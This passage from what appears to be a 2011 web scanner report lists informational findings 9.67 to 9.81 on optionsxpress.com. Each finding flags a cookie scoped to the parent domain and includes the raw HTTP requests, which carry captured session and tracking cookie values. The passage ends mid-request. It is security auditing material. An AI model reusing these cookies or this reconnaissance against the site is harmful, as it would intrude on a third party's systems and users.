Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 788
Content-Type: image/jpeg
Last-Modified: Thu, 02 Dec 2010 21:21:24 GMT
Accept-Ranges: bytes
ETag: "e994b0df6692cb1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=FB0DC0464C7379B04E0F409D15B5A47F; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:42 GMT

......JFIF.....d.d......Ducky.......d......Adobe.d......................................................................................................................................................
...[SNIP]...

9.67. http://www.optionsxpress.com/images/promo_unique/live-help.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/live-help.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=57DCCA6044DEB5B2BAB532A38C7B950B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promo_unique/live-help.jpg HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 1255
Content-Type: image/jpeg
Last-Modified: Thu, 02 Dec 2010 21:21:24 GMT
Accept-Ranges: bytes
ETag: "378d7df6692cb1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=57DCCA6044DEB5B2BAB532A38C7B950B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

......JFIF.....d.d......Ducky.......d......Adobe.d......................................................................................................................................................
...[SNIP]...

9.68. http://www.optionsxpress.com/images/promo_unique/phone.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/phone.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=C58C6E0B422823B29D0E0DB0C88C0490; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promo_unique/phone.jpg HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 878
Content-Type: image/jpeg
Last-Modified: Thu, 02 Dec 2010 21:21:24 GMT
Accept-Ranges: bytes
ETag: "378d7df6692cb1:1756"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=C58C6E0B422823B29D0E0DB0C88C0490; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

......JFIF.....d.d......Ducky.......d......Adobe.d......................................................................................................................................................
...[SNIP]...

9.69. http://www.optionsxpress.com/images/promo_unique/shadow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promo_unique/shadow.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=6B849C5246B01879A225D7A7A55F4F14; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promo_unique/shadow.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 1812
Content-Type: image/png
Last-Modified: Thu, 02 Dec 2010 21:21:24 GMT
Accept-Ranges: bytes
ETag: "378d7df6692cb1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=6B849C5246B01879A225D7A7A55F4F14; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:42 GMT

.PNG
.
...IHDR...S.........A6rV....tEXtSoftware.Adobe ImageReadyq.e<....IDATx....n.0...@.|...w..
.iv-....3..k..(..?..}~~.!I.$I.$I.$I.$..[
.$I.$I.$I.$I..~|||XW......6..^.....8...+{..<6^.xu.U.G.[..1.
...[SNIP]...

9.70. http://www.optionsxpress.com/images/promos/allInOne.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/allInOne.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D3B637A04BE2D0951ABF23BB3474971D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/allInOne.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 200 OK
Content-Length: 81935
Content-Type: image/png
Last-Modified: Mon, 14 Mar 2011 20:49:48 GMT
Accept-Ranges: bytes
ETag: "a7e8b85b89e2cb1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=D3B637A04BE2D0951ABF23BB3474971D; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

.PNG
.
...IHDR................9... pHYs................ cHRM..z%..............u0...`..:....o._.F..?.IDATx...[l.G..3..>......8.-..8M.I..N.P....6.....T..D...V.*. ...2.B.Jy).*
."hE...A.4!.r....qrN.sl.
...[SNIP]...

9.71. http://www.optionsxpress.com/images/promos/barronsBg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/barronsBg.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=5A39822A4290C06155A8A3BDE9F228C2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/barronsBg.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=FB0DC0464C7379B04E0F409D15B5A47F

Response

HTTP/1.1 200 OK
Content-Length: 21887
Content-Type: image/png
Last-Modified: Mon, 14 Mar 2011 20:49:48 GMT
Accept-Ranges: bytes
ETag: "f776c25b89e2cb1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=5A39822A4290C06155A8A3BDE9F228C2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:44 GMT

.PNG
.
...IHDR.................... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

9.72. http://www.optionsxpress.com/images/promos/chartC4c.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/chartC4c.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=C1BC06414DC1E382D0B7728327B6D440; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/chartC4c.jpg HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 200 OK
Content-Length: 42196
Content-Type: image/jpeg
Last-Modified: Mon, 14 Mar 2011 20:49:49 GMT
Accept-Ranges: bytes
ETag: "cb13eb5b89e2cb1:11f7"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=C1BC06414DC1E382D0B7728327B6D440; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:40 GMT

......JFIF.....H.H......Exif..MM.*.............................b...........j.(...........1.........r.2...........i...............
....'..
....'.Adobe Photoshop CS4 Macintosh.2010:12:08 08:45:21.......
...[SNIP]...

9.73. http://www.optionsxpress.com/images/promos/footer1Logo11.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/footer1Logo11.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=44A373974F212A3FA1D871B5ECDA6C2D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/footer1Logo11.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=F0BBCF5640548A4582D4D091C08D7EEB

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=44A373974F212A3FA1D871B5ECDA6C2D; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:47 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

9.74. http://www.optionsxpress.com/images/promos/kiplingerBg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/kiplingerBg.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=A384F4AE4CB576BE96F6A394642C1659; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/kiplingerBg.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=FB0DC0464C7379B04E0F409D15B5A47F

Response

HTTP/1.1 200 OK
Content-Length: 5677
Content-Type: image/png
Last-Modified: Tue, 29 Mar 2011 19:11:06 GMT
Accept-Ranges: bytes
ETag: "7311cdd45eecb1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=A384F4AE4CB576BE96F6A394642C1659; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:43 GMT

.PNG
.
...IHDR..............-@Y....tEXtSoftware.Adobe ImageReadyq.e<....PLTE...PPP...............[[[ttt......EEEzzzxxxHHHLLLiii.............................................555666888444..............
...[SNIP]...

9.75. http://www.optionsxpress.com/images/promos/mainBottom.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/mainBottom.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=1C23A7D04D74A4E06208FF87FAE51FA5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/mainBottom.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 814
Content-Type: image/png
Last-Modified: Mon, 14 Mar 2011 20:49:49 GMT
Accept-Ranges: bytes
ETag: "fbf72d5c89e2cb1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=1C23A7D04D74A4E06208FF87FAE51FA5; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:42 GMT

.PNG
.
...IHDR....... ....._...... pHYs................ cHRM..z%..............u0...`..:....o._.F....IDATx.b........F.:....3....H..e`.w...@D.(........b.......x4..6...a.......b....?\...\...M..b..Xbs4.
...[SNIP]...

9.76. http://www.optionsxpress.com/images/promos/toolsIcons.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/toolsIcons.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=F0BBCF5640548A4582D4D091C08D7EEB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/toolsIcons.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; TLTHID=FB0DC0464C7379B04E0F409D15B5A47F

Response

HTTP/1.1 200 OK
Content-Length: 97261
Content-Type: image/png
Last-Modified: Mon, 14 Mar 2011 20:49:50 GMT
Accept-Ranges: bytes
ETag: "7b6a7a5c89e2cb1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=F0BBCF5640548A4582D4D091C08D7EEB; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:43 GMT

.PNG
.
...IHDR...z.........'..G... pHYs................ cHRM..z%..............u0...`..:....o._.F..{sIDATx...{...}..._.........X:...C.+D.y..6...L..`#..
.B..Ip
.P....L....Ml+&...#C.<..N...d.C..,$.HB.
...[SNIP]...

9.77. http://www.optionsxpress.com/images/promos/whiteboard_sales_lp.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/promos/whiteboard_sales_lp.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=52B8D84540D59FC59A4222A431C2EF7C; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/promos/whiteboard_sales_lp.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=DE89B10E4F7083341F7D2AB6DC49FE17; mbox=check#true#1315527980|session#1315527919598-875378#1315529780

Response

HTTP/1.1 200 OK
Content-Length: 75357
Content-Type: image/png
Last-Modified: Tue, 03 May 2011 21:31:39 GMT
Accept-Ranges: bytes
ETag: "e0fcb87cd99cc1:1003"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=52B8D84540D59FC59A4222A431C2EF7C; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:41 GMT

.PNG
.
...IHDR.......R.....Z..^....gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<..%.IDATx.b...?.(....`.add.......F.KFcd......1..0..@.........e.....x.`.y........5=.*@.....PR.c.>f'{......r.A...(h.
...[SNIP]...

9.78. http://www.optionsxpress.com/images/ui/ui-bg_glass_65_ffffff_1x400.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_glass_65_ffffff_1x400.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=6B7B91FF4BEF93129C8300900562EEEA; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/ui/ui-bg_glass_65_ffffff_1x400.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; CMPID=gsus23305007; s_cc=true; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527926087%27%5D%5D; s_campaign=gsus23305007; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; TLTHID=3DAC4327436FC1E882AB69BF2C12F5CC

Response

HTTP/1.1 200 OK
Content-Length: 105
Content-Type: image/png
Last-Modified: Wed, 09 Feb 2011 14:18:00 GMT
Accept-Ranges: bytes
ETag: "09cc92764c8cb1:1c1f"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=6B7B91FF4BEF93129C8300900562EEEA; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:12 GMT

.PNG
.
...IHDR.............oX
....0IDAT8...!.. .......+. ......J.HR).[lk.=O_..(.<`....H.".....IEND.B`.

9.79. http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=8A4FC8934AA82ABB3628E1AE3BB7B02A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; TLTHID=52B8D84540D59FC59A4222A431C2EF7C; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521

Response

HTTP/1.1 200 OK
Content-Length: 127
Content-Type: image/png
Last-Modified: Wed, 09 Feb 2011 14:18:00 GMT
Accept-Ranges: bytes
ETag: "09cc92764c8cb1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=8A4FC8934AA82ABB3628E1AE3BB7B02A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:42 GMT

.PNG
.
...IHDR.......d.....G,Z`...FIDAT......... 3:....r.|a...6...?hY.Z.~..L+.. ..A..zB@..L..p......... .WG.-j......IEND.B`.

9.80. http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_125697_1x100.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/ui/ui-bg_highlight-soft_50_125697_1x100.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=AAB5420D4DEFA11E2D23D3B00A9C5FCC; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/ui/ui-bg_highlight-soft_50_125697_1x100.png HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; CMPID=gsus23305007; s_cc=true; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527926087%27%5D%5D; s_campaign=gsus23305007; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; TLTHID=3DAC4327436FC1E882AB69BF2C12F5CC

Response

HTTP/1.1 200 OK
Content-Length: 184
Content-Type: image/png
Last-Modified: Wed, 09 Feb 2011 14:18:00 GMT
Accept-Ranges: bytes
ETag: "09cc92764c8cb1:1878"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=AAB5420D4DEFA11E2D23D3B00A9C5FCC; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:12 GMT

.PNG
.
...IHDR.......d.....0+j....IDAT....K
.@...wKo..<...*..3....7Yi...........^.'C......Emo...
.6t.=.....h...1y.!..FC.#.>9...*.e.+xTd%.yE...VP.@.bV....s..?|Y..K.U.9..*....IEND.B`.

9.81. http://www.optionsxpress.com/images/welcome/home/log_out.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/images/welcome/home/log_out.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=B7B8CAE441A79F28A820CD92711B9316; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/welcome/home/log_out.gif HTTP/1.1
Host: www.optionsxpress.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
